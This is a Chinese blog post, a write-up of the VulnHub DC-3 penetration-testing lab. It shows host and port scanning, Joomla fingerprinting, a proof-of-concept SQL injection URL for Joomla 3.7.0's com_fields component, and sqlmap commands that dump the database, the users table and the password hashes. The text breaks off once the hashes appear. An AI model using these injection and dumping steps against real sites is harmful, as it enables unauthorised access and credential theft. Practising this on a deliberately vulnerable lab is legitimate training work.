DC-3实验解析

剑气长城保安队长

于 2024-10-03 15:22:04 发布

阅读量610

点赞数 12

文章标签：网络

本文链接：https://blog.csdn.net/2401_83566267/article/details/142692127

版权

DC-3 实验讲解

一、环境搭建：

1、靶场描述

DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。必须具备Linux技能并熟悉Linux命令行，还必须具有使用基本渗透测试工具的经验。对于初学者来说，谷歌可以提供很大的帮助，但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案，相反，我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说，这可能不会花你很长时间(事实上，它可能只需要不到20分钟)。如果是这种情况，如果你想让它更具挑战性，你可以重做挑战，探索其他获得根和获得旗帜的方法。

只有一个flag

2、下载靶场环境

靶场下载地址：

https://www.vulnhub.com/entry/dc-32,312/

二、渗透靶场

1、目标：

目标就是我们搭建的靶场，靶场IP为：192.168.176.0/24

2、信息收集：寻找靶机真实IP

nmap -sP 192.168.176.132.0/24

本机ip为192.168.176.130 所以可得靶机ip为192.168.176.132

3、信息收集：探端口及服务

nmap -A -p- -v 192.168.176.132

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项，它会给出扫描过程中的详细信息

发现开放了80端口，存在web服务，Apache/2.4.18，CMS为Joomla

可以看到他告诉我们这次的目标就是获得root权限

joomScan扫描

先进行安装joomscan

apt install joomscan

joomscan --url http://192.168.176.132

扫描结果如下

知道了joomla cms版本为3.7.0
得到了网站后台地址http://192.168.176.132/administrator/

6、利用nikto扫描获取后台地址

nikto --url http://192.168.176.132/

7、查找漏洞发现存在SQL注入

我们前面知道了CMS为joomla，版本为3.7.0

使用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0

我们发现有一个SQL注入，还存在一个XSS

我们可以看到漏洞的提示信息

searchsploit -m 42033.txt

下方提示信息

我们看到了POC，我们验证一下，把localhost修改为我们的靶机IP就ok

http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示，数据库语句错误，说明进行了拼接，存在SQL注入

8、sqlmap跑出数据

1.跑出所有数据库

sqlmap -u "http://192.168.176.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

下方图片成功把数据扫了出来

2.获取当前数据库的名字joomladb

sqlmap -u "http://192.168.176.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch

sqlmap -u "http://192.168.176.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch

4.获取joomladb的users表的字段名

sqlmap -u "http://192.168.176.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项按y回车

第二个也是一样 y回车

第三个选项可以随意我这里是1

第四个选项使用10线程

最后出来了6个字段

5.获取目标字段username和password

sqlmap -u "http://192.168.176.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

可以看到下方出现了用户名和加密的密码